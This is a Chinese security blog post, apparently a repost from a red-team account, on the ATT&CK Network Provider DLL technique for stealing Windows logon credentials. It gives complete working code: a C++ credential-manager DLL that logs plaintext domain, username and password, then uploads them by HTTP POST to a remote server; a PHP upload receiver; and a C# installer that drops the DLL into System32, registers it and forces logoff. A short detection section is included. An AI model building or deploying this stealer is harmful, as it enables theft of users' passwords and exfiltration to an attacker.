ATT&CK框架更新跟踪-凭据访问之Network Provider DLL

admin 2024年1月7日08:05:21评论52 views字数 10450阅读34分50秒阅读模式


0x01 前言

ATT&CK框架2023年的版本中,较之前新增了一条持久化/凭据访问/防御规避的技术点:Network Provider DLLhttps://attack.mitre.org/techniques/T1556/008/),大致是这样描述的:
攻击者可以注册恶意的网络提供者DLL可以在身份验证过程中捕获明文用户凭据。网络提供者 DLL 允许 Windows 与特定的网络协议进行接口交互,并且还可以支持附加的凭据管理功能。在登录过程中,Winlogon通过 RPC 将凭证发送给本地的 mpnotify.exe 进程。然后,当通知发生登录事件时,mpnotify.exe 进程会将凭证以明文形式与已注册的凭据管理器共享。攻击者可以配置恶意的网络提供者 DLL 来从 mpnotify.exe 接收凭证。一旦恶意的网络提供者DLL通过注册表安装为凭据管理器,每当用户通过该函数登录到 Windows 工作站或域时,恶意的 DLL 可以通过 NPLogonNotify() 函数接收和保存凭证。
mpnotify.exe进程是由Windows多供应商路由组件MPRMultiple Provider Router)创建的,该组件用于处理和路由网络请求。这个进程用于管理在系统启动时运行的网络服务,同时还负责处理用户登录时的网络连接。它会帮助认证用户信息,并且在成功连接网络后,继续监视网络连接的状态。
虽然该技术2023年才被ATT&CK收录,但其实最早在2000年就有paper发表过相关的技术。由于不少前人已经造过轮子,本文就简单讲下相关的原理、实现以及检测。

0x02 技术原理

该技术通过注册恶意的网络提供DLL,实现账户登陆过程中接收明文的用户名密码验证信息。
大概了解下Windows NT登录过程:用户输入凭据到GINA界面(登录和更改密码的对话框),然后Winlogon进程进行用户认证,成功后,认证数据被传递给多供应商路由器MPR (mpnotify.exe),然后MPR将其传递给所有作为凭据管理器注册的网络提供者
1网络提供者API
网络提供者APINP API)是一套由操作系统提供给开发者的工具集,开发者可使用这些工具来创建与特定网络环境相兼容的应用程序。换句话说,它是一个桥梁,连接了应用程序和操作系统级别的网络服务。开发者可以通过这个API来实现像连接或断开网络这样的网络操作。
Windows NT及其派生版本如Windows 2000, XP, 7, 8, 10等,都支持多个网络提供者。所谓的网络提供者,实际上就是动态链接库(DLLs)。这些DLLs是由不同的供应商或开发者独立开发的,它们实现了针对不同类型的网络或协议的连接和管理能力,比如SAMBA服务(用于连接WindowsLinuxUnix-like系统)、FTP服务、WebDAV服务等。
借助网络提供者API,开发者可以在应用程序中调用这些动态链接库的功能,从而实现对多个不同类型或协议的网络进行操作。比如,如果用户想要同时连接到一个FTP服务器和一个SAMBA共享,只需要有对应的两个网络提供者DLL,并在应用程序中调用网络提供者API即可。
Windows通过在系统启动时调用NP APINPGetCaps函数来获取注册的网络提供者支持的特定NP API功能,所有的网络提供DLL需要有这个导出函数。为了方便访问多个网络,NP API包含一个导出函数NPLogonNotify,用来将当前交互式Windows登陆信息传递给每一个网络提供者。在登陆时,Windows在成功验证用户后立即调用NPLogonNotify
也就是说,恶意的网络提供者DLL需要导出NPLogonNotifyNPGetCaps这两个函数。
2、涉及导出函数
NPGetCaps
DWORD NPGetCaps(  DWORD nIndex  );
对于恶意的网络提供者,需支持以下nIndex值:
nIndex = WNNC_SPEC_VERSION(0x00000001),这表示网络提供者需要指明其遵循的规范或协议版本,返回WNNC_SPEC_VERSION51(0x00050001),表明此网络提供者支持5.1版本的规范。nIndex = WNNC_NET_TYPE (0x00000002)表示询问网络类型,返回 WNNC_CRED_MANAGER (0xFFFF0000)表明此提供者是一个凭据管理器。nIndex = WNNC_START(0x0000000C)表示询问网络提供者启动的状态,返回WNNC_WAIT_FOR_START(0x00000001)表示网络提供者正在等待启动。
使用任何其他值的nIndex可以返回零表明网络提供者没有其他额外的能力或特性。
NPLogonNotify
DWORD APIENTRY NPLogonNotify(  lpLogon,  lpAuthentInfoType,  lpAuthentInfo,  lpPreviousAuthentInfoType,  lpPreviousAuthentInfo,  PLUID  LPCWSTR  LPVOID  LPCWSTR  LPVOID  LPWSTR  LPVOID  LPWSTR  lpStationName,  StationHandle,);  *lpLogonScript
对于登录时获取用户凭据,以下2参数较为关键:
lpAuthentInfoType一个指向Unicode字符串的指针,该字符串标识由lpAuthentInfo指向的结构的类型,一般都'MSV1_0:Interactive'使用Kerberos验证的Windows 2000系统将指向字符串'Kerberos:Interactive',本次研究不考虑特殊情况了
lpAuthentInfo一个指向结构的指针,该结构包含用户成功验证的信息。一般lpAuthentInfoType'MSV1_0:Interactive'的情况,结构是MSV1_0_INTERACTIVE_LOGIN,定义如下:
typedef struct _MSV1_0_INTERACTIVE_LOGON  {  MSV1_0_LOGON_SUBMIT_TYPE MessageType;  UNICODE_STRING LogonDomainName;  UNICODE_STRING UserName;  UNICODE_STRING Password;  } MSV1_0_INTERACTIVE_LOGON;
其中UNICODE_STRING定义如下:
typedef struct _LSA_UNICODE_STRING {  USHORT Length;  USHORT MaximumLength;  PWSTR Buffer;  } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
因此我们可以从lpAuthentInfo获取DomainUserNamePassword
3、网络提供者的注册
一般来说,每个网络提供者都通过注册表在操作系统中注册。需要在以下注册表路径中添加网络提供者的名称(假设名为NPtest
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNetworkProviderOrder下的ProviderOrder值,将新的网络提供者的名称追加到最后即可,不同的网络提供者名称以逗号分隔。
然后新增如下注册表键值
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices网络提供者名称(NPtestNetworkProvider下的:
Class值,类型是REG_DWORD,值= 2,表示网络提供者是一个证书管理器;ProviderPath值,类型是REG_EXPAND_SZ,值是指向网络提供者DLL的路径,%SystemRoot%System32NPtest.dllName值,类型=REG_DWORD
一旦具有NPLogonNotify导出DLL注册为一个具有证书管理功能的网络提供者(需要管理员权限)那么该DLL在用户登录时接收当前用户的所有身份验证数据。

0x03 代码准备
1、一个网络提供者DLL将会被注册为恶意的网络提供者。以下代码基于https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy项目进行优化,加入了防止中文乱码、凭据外发以及获取所在域功能(也可以在凭据外发后加入上线C2的功能),VS直接编译就行(64位):
#include "pch.h"#include <iostream>#include <string>#define _WINSOCK_DEPRECATED_NO_WARNINGS#include <winsock2.h>#include <ws2tcpip.h>#include <windows.h>#include <iostream>#include <fstream>
#pragma comment(lib, "ws2_32.lib") // 链接Winsock库std::string readFile(const std::string& filename) { std::ifstream file(filename, std::ios::binary); return std::string((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());}
//将获取到的凭据文件外发void postFile(const std::string& server, const std::string& filepath, int port) { WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); //初始化Winsock SOCKET client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in server_addr {}; server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port); server_addr.sin_addr.s_addr = inet_addr(server.c_str());  connect(client, (struct sockaddr*)&server_addr, sizeof(server_addr)); std::string fileContent = readFile(filepath);
//构造http请求 std::string boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"; std::string request = "--" + boundary + "rn" "Content-Disposition: form-data; name="fileToUpload"; filename="" + filepath + ""rn" "Content-Type: application/octet-streamrnrn" + fileContent + "rn" + "--" + boundary + "--";
std::string headers = "POST /upload.php HTTP/1.1rn" "Host: " + server + "rn" "Content-Type: multipart/form-data; boundary=" + boundary + "rn" "Content-Length: " + std::to_string(request.size()) + "rnrn"; //发送HTTP请求头和请求体 send(client, headers.c_str(), headers.size(), 0); send(client, request.c_str(), request.size(), 0);
char buffer[4096]; recv(client, buffer, sizeof(buffer), 0); //接收HTTP响应 printf(buffer); closesocket(client); WSACleanup();}

// from npapi.h#define WNNC_SPEC_VERSION 0x00000001#define WNNC_SPEC_VERSION51 0x00050001#define WNNC_NET_TYPE 0x00000002#define WNNC_START 0x0000000C#define WNNC_WAIT_FOR_START 0x00000001
//from ntdef.htypedef struct _UNICODE_STRING{ USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, * PUNICODE_STRING;
// from NTSecAPI.htypedef enum _MSV1_0_LOGON_SUBMIT_TYPE{ MsV1_0InteractiveLogon = 2, MsV1_0Lm20Logon, MsV1_0NetworkLogon, MsV1_0SubAuthLogon, MsV1_0WorkstationUnlockLogon = 7, MsV1_0S4ULogon = 12, MsV1_0VirtualLogon = 82, MsV1_0NoElevationLogon = 83, MsV1_0LuidLogon = 84,} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;
typedef struct _MSV1_0_INTERACTIVE_LOGON{ MSV1_0_LOGON_SUBMIT_TYPE MessageType; UNICODE_STRING LogonDomainName; UNICODE_STRING UserName; UNICODE_STRING Password;} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;

void GetPass(PUNICODE_STRING username, PUNICODE_STRING password, PUNICODE_STRING domain){ HANDLE hFile; DWORD dwWritten;
hFile = CreateFile(TEXT("C:\NPtestpass.txt"), GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //将传递给getpass的unicode字符转换成ansi字符再写入文件,防止中文乱码 if (hFile != INVALID_HANDLE_VALUE) { SetFilePointer(hFile, 0, NULL, FILE_END);
int usernameSize = WideCharToMultiByte(CP_ACP, 0, username->Buffer, -1, NULL, 0, NULL, NULL); char* usernameBuffer = new char[usernameSize]; WideCharToMultiByte(CP_ACP, 0, username->Buffer, -1, usernameBuffer, usernameSize, NULL, NULL);
int passwordSize = WideCharToMultiByte(CP_ACP, 0, password->Buffer, -1, NULL, 0, NULL, NULL); char* passwordBuffer = new char[passwordSize]; WideCharToMultiByte(CP_ACP, 0, password->Buffer, -1, passwordBuffer, passwordSize, NULL, NULL);
int domainSize = WideCharToMultiByte(CP_ACP, 0, domain->Buffer, -1, NULL, 0, NULL, NULL); char* domainBuffer = new char[domainSize]; WideCharToMultiByte(CP_ACP, 0, domain->Buffer, -1, domainBuffer, domainSize, NULL, NULL);
WriteFile(hFile, domainBuffer, domain->Length, &dwWritten, 0); WriteFile(hFile, " -> ", strlen(" -> "), &dwWritten, 0); WriteFile(hFile, usernameBuffer, username->Length, &dwWritten, 0); WriteFile(hFile, " -> ", strlen(" -> "), &dwWritten, 0); WriteFile(hFile, passwordBuffer, password->Length, &dwWritten, 0); WriteFile(hFile, "rn", strlen("rn"), &dwWritten, 0);
delete[] usernameBuffer; delete[] passwordBuffer; delete[] domainBuffer; CloseHandle(hFile); } }
EXTERN_C_START
__declspec(dllexport)DWORDAPIENTRYNPGetCaps( DWORD nIndex){ switch (nIndex) { case WNNC_SPEC_VERSION: return WNNC_SPEC_VERSION51;
case WNNC_NET_TYPE: return WNNC_CRED_MANAGER;
case WNNC_START: return WNNC_WAIT_FOR_START;
default: return 0; }}
__declspec(dllexport)DWORDAPIENTRYNPLogonNotify( PLUID lpLogonId, LPCWSTR lpAuthInfoType, LPVOID lpAuthInfo, LPCWSTR lpPrevAuthInfoType, LPVOID lpPrevAuthInfo, LPWSTR lpStationName, LPVOID StationHandle, LPWSTR* lpLogonScript){ GetPass( &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName), &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password), &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName) );
lpLogonScript = NULL;  postFile("外发服务器IP""C:\NPtestpass.txt", 端口); return WN_SUCCESS;}
EXTERN_C_END
2、upload.PHP文件,放在远程服务器,用于接收上传的保存凭据的文件,只接受文件名包含“pass.txt”的文件上传,需要在网站目录下创建一个uploads文件夹:
<?php$target_dir = "uploads/";$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
if ($_SERVER["REQUEST_METHOD"] == "POST") { if (strpos($_FILES["fileToUpload"]["name"], 'pass.txt') !== false) { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } else { echo "Invalid file!"; }} else { echo "No POST request received.";}?>
3、一个网络提供者的安装程序(C#),实现修改注册表来注册恶意网络提供者、释放网络提供者DLL文件、强制注销(经测试需要注销或重启机器触发后门,锁屏不行),DLL文件以字节数组的形式存在代码中:
using Microsoft.Win32;using System.Diagnostics;using System.Runtime.InteropServices;
namespace SetNP{ class Program { public static void SetReg() { //获取当前网络提供者的排序 var orderPath = @"SYSTEMCurrentControlSetControlNetworkProviderOrder"; var orderKey = Registry.LocalMachine.OpenSubKey(orderPath, true); var providerOrder = (string)orderKey.GetValue("PROVIDERORDER");
//在现有的网络提供者链中添加新的提供者 providerOrder += ",NPtest"; orderKey.SetValue("PROVIDERORDER", providerOrder); orderKey.Close();
//创建网络提供者服务项 var servicePath = @"SYSTEMCurrentControlSetServicesNPtest"; Registry.LocalMachine.CreateSubKey(servicePath); var providerPath = servicePath + @"NetworkProvider"; var providerKey = Registry.LocalMachine.CreateSubKey(providerPath);
            //设置网络提供者属性 providerKey.SetValue("Class", 2); providerKey.SetValue("Name", "NPtest"); providerKey.SetValue("ProviderPath", @"%SystemRoot%System32NPtest.dll", RegistryValueKind.ExpandString); providerKey.Close(); }
public static void WriteNPfile() { byte[] bytes = new byte[] {...... };//DLL文件的字节数据 //释放网络提供者DLL文件 System.IO.File.WriteAllBytes("C:\Windows\System32\NPtest.dll", bytes); } }}
public class Program{ public static void Main() { SetNP.Program.WriteNPfile(); SetNP.Program.SetReg(); //注销计算机 Process.Start("shutdown", "/l"); }}

0x04 复现过程
运行C#安装程序,机器注销后登录,可以看到系统目录下的DLL文件:

ATT&CK框架更新跟踪-凭据访问之Network Provider DLL

C盘下的凭据文件:

ATT&CK框架更新跟踪-凭据访问之Network Provider DLL

修改的注册表:
ATT&CK框架更新跟踪-凭据访问之Network Provider DLL ATT&CK框架更新跟踪-凭据访问之Network Provider DLL
远程服务器接收到的凭据文件:
ATT&CK框架更新跟踪-凭据访问之Network Provider DLL

0x05 检测方法
EDR日志中,其实可以看到NPtestpass.txt文件释放、访问远程服务器的行为是由mpnotify.exe发起的,其父进程为winlogon.exe。对于此种攻击手法,建议通过以下途径进行检测:
1、监控对以下注册表路径的修改行为:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNetworkProviderOrderHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices<NetworkProviderName>NetworkProvider
2监控NPLogonNotify() API调用;
3、监控mpnotify.exe进程异常的DLL加载(例如加载的DLL文件没有签名)、网络访问、文件释放等行为。
注意:方法23需要EDR软件的启动时机足够早,否则可能导致对mpnotify.exe进程的行为采集不完整。如果不行,就用第一种方法。但是要注意,如果是篡改替换已有的网络提供者DLL,则不需要修改注册表,第一种检测方法可能失效。

最最最重要:
本文内容仅用于研究学习,不可用于网络攻击等非法行为,否则造成的后果均与本文作者和本公众号无关,维护网络安全人人有责~

原文始发于微信公众号(红蓝攻防研究实验室):ATT&CK框架更新跟踪-凭据访问之Network Provider DLL

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月7日08:05:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK框架更新跟踪-凭据访问之Network Provider DLLhttp://cn-sec.com/archives/2372107.html

发表评论

匿名网友 填写信息